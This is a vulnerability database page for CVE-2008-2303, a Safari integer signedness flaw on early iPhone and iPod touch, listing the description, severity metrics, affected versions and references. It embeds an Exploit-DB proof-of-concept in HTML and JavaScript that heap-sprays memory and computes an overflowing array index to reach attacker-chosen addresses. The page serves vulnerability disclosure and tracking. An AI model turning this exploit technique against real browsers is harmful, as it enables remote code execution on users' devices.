CVE-2008-2303 : Detail

CVE-2008-2303

11.55%V3
Network
2008-07-14
16h00 +00:00
2017-08-07
10h57 +00:00
CVE.org
NVD
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CVE Descriptions

Integer signedness error in Safari on Apple iPhone before 2.0 and iPod touch before 2.0 allows remote attackers to execute arbitrary code or cause a denial of service (application crash) via vectors involving JavaScript array indices that trigger an out-of-bounds access, a different vulnerability than CVE-2008-2307.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-189 Category : Numeric Errors
Weaknesses in this category are related to improper calculation or conversion of numbers.

Metrics

Metrics Score Severity CVSS Vector Source
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 32048

Publication date : 2008-07-10 22h00 +00:00
Author : Hiromitsu Takagi
EDB Verified : Yes

source: https://www.securityfocus.com/bid/30186/info Apple iPhone and iPod touch are prone to multiple remote vulnerabilities: 1. A vulnerability that may allow users to spoof websites. 2. An information-disclosure vulnerability. 3. A buffer-overflow vulnerability. 4. Two memory-corruption vulnerabilities. Successfully exploiting these issues may allow attackers to execute arbitrary code, crash the affected application, obtain sensitive information, or direct unsuspecting victims to a spoofed site; other attacks are also possible. These issues affect iPhone 1.0 through 1.1.4 and iPod touch 1.1 through 1.1.4. <BODY> <SCRIPT src="HeapSpray2.js"></SCRIPT> <CODE id="sploit status"></CODE> <CODE id="heapspray status"></CODE> <SCRIPT> // The index for the "arguments" array in a JavaScript function in // Safari suffers from a signedness issue that allows access to elements // that are out of bounds. The index is cast to a signed value before it // is compared to the length of the array to check if it within the // bounds. Integer values larger than 0x8000,0000 will be cast to a // negative value and because they are always smaller then the length, // they are treated as a valid index. // The index into the arguments array ends up in instructions // that multiply it by 4 to access data in an array of 32 bit values. // There are no checks for overflows in this calculation. This allows us // to cause it to access anything in memory: // Pointer to object = base address + 4 * index // The base address varies only slightly and is normally about // 0x7FEx,xxxx. If we create a heap chunk of 0x0100,0000 bytes at a // predictable location using heap spraying, we can then calculate an // index that will access this memory. var iBase = 0x7fe91e6c; // Random sample - value varies but not a lot. var iTargetArea = 0x10000000; // Be advised that heap spraying is "upside down" in Safari: strings // are allocated at high addresses first and as the heap grows, the // addresses go down. The heap will therefor grow in between a lot of // DLLs which reside in this area of the address space as well. // We&#039;ll need to find an area of memory to spray that is not likely to // contain a DLL and easy to reach. var iTargetAddress = 0x55555555; // iTargetAddress(~0x5555,5555) = iBase(~0x7FEx,xxxx) + 4 * iIndex // 4 * iIndex = (iTargetAddress - iBase) (optionally + 0x1,0000,0000 because an integer overflow is needed) var iRequiredMultiplicationResult = iTargetAddress - iBase + (iTargetAddress < iBase ? 0x100000000 : 0) // iIndex = (iTargetAddress - iBase) / 4 var iIndex = Math.floor(iRequiredMultiplicationResult / 4) // We need to trigger the signedness issue so the index must be larger // then 0x8000,0000. Because of the integer overflow in the // multiplication, we can safely add 0x4000,0000 as often as we want; // the multiplication will remove it from the result. while (iIndex < 0x80000000) iIndex += 0x40000000 document.getElementById("sploit status").innerHTML = ( "iBase + 4 * iIndex = " + "0x" + iBase.toString(16, 8) + " + 4 * " + iIndex.toString(16, 8) + " = " + "0x" + (iBase + 4 * iIndex).toString(16, 8) + "<BR>" ); // Set up heap spray var oHeapSpray = new HeapSpray2(iTargetAddress, DWORD(0xDEADBEEF)) oHeapSpray.oOutputElement = document.getElementById("heapspray status") // Spray heap asynchronously and call sploit when done. oHeapSpray.spray(sploit) function sploit(oHeapSpray) { // This will cause an access violation using the value 0xDEADBEEF, // which comes from the strings we sprayed the heap with. // 6aa3d57f 8b4f0c mov ecx,dword ptr [edi+0Ch] ds:0023:deadbefb=???????? arguments[iIndex]; } function DWORD(iValue) { return String.fromCharCode(iValue & 0xFFFF, iValue >> 16) } </SCRIPT> </BODY>

Products Mentioned

Configuraton 0

Apple>>Iphone >> Version 1.0

Apple>>Iphone >> Version 1.1.3

    Apple>>Iphone >> Version 1.1.4

      Apple>>Iphone >> Version 1.02

      Apple>>Ipod_touch >> Version 1.1

      Apple>>Ipod_touch >> Version 1.1.1

      Apple>>Ipod_touch >> Version 1.1.2

      Apple>>Ipod_touch >> Version 1.1.3

        Apple>>Ipod_touch >> Version 1.1.4

          Apple>>Iphone_os >> Version 1.0.1

          Apple>>Iphone_os >> Version 1.0.2

          Apple>>Iphone_os >> Version 1.1.1

          Apple>>Iphone_os >> Version 1.1.2

          Apple>>Safari >> Version *

          References

          http://www.securityfocus.com/bid/30186
          Tags : vdb-entry, x_refsource_BID
          http://secunia.com/advisories/32706
          Tags : third-party-advisory, x_refsource_SECUNIA
          http://support.apple.com/kb/HT3298
          Tags : x_refsource_CONFIRM
          http://secunia.com/advisories/31074
          Tags : third-party-advisory, x_refsource_SECUNIA